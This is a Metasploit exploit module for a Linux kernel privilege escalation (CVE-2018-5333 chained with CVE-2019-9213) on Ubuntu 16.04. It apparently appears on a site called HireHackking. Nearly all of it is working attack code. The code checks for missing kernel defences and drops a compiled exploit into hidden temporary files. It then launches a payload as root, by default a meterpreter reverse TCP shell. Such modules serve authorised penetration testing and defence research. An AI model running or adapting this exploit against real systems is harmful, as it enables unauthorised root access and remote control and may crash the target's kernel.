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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Compile
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges on Linux systems by abusing
        a NULL pointer dereference in the `rds_atomic_free_op` function in the
        Reliable Datagram Sockets (RDS) kernel module (rds.ko).

        Successful exploitation requires the RDS kernel module to be loaded.
        If the RDS module is not blacklisted (default); then it will be loaded
        automatically.

        This exploit supports 64-bit Ubuntu Linux systems, including distributions
        based on Ubuntu, such as Linux Mint and Zorin OS.

        Target offsets are available for:

        Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
        Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.

        This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
        Failed exploitation may crash the kernel.

        This module has been tested successfully on various 4.4 and 4.8 kernels.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)
          'Jann Horn',       # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)
          'wbowling',        # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic
          'bcoles',          # Metasploit module and updated C exploit
          'nstarke'          # Additional kernel offsets
        ],
      'DisclosureDate' => '2018-11-01',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'Privileged'     => true,
      'References'     =>
        [
          [ 'CVE', '2018-5333' ],
          [ 'CVE', '2019-9213' ],
          [ 'BID', '102510' ],
          [ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],
          [ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],
          [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],
          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],
          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],
          [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]
        ],
      'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
      'Notes'          =>
        {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_OS_DOWN ],
        },
      'DefaultTarget'  => 0))
    register_advanced_options [
      OptBool.new('ForceExploit',  [ false, 'Override check result', false ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    arch = kernel_hardware
    unless arch.include? 'x86_64'
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end
    vprint_good "System architecture #{arch} is supported"

    offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
    kernels = offsets.scan(/"(.+?)"/).flatten

    version = "#{kernel_release} #{kernel_version.split(' ').first}"
    unless kernels.include? version
      return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
    end
    vprint_good "Linux kernel #{version} is vulnerable"

    if smap_enabled?
      return CheckCode::Safe('SMAP is enabled')
    end
    vprint_good 'SMAP is not enabled'

    if lkrg_installed?
      return CheckCode::Safe('LKRG is installed')
    end
    vprint_good 'LKRG is not installed'

    if grsec_installed?
      return CheckCode::Safe('grsecurity is in use')
    end
    vprint_good 'grsecurity is not in use'

    unless kernel_modules.include? 'rds'
      vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
      return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
    end
    vprint_good 'rds.ko kernel module is loaded'

    CheckCode::Appears
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include? check
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')
    end
    register_file_for_cleanup exploit_path

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe
    register_file_for_cleanup payload_path

    # mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
    timeout = 30
    print_status "Launching exploit (timeout: #{timeout})..."
    output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
    output.each_line { |line| vprint_status line.chomp }
  end
end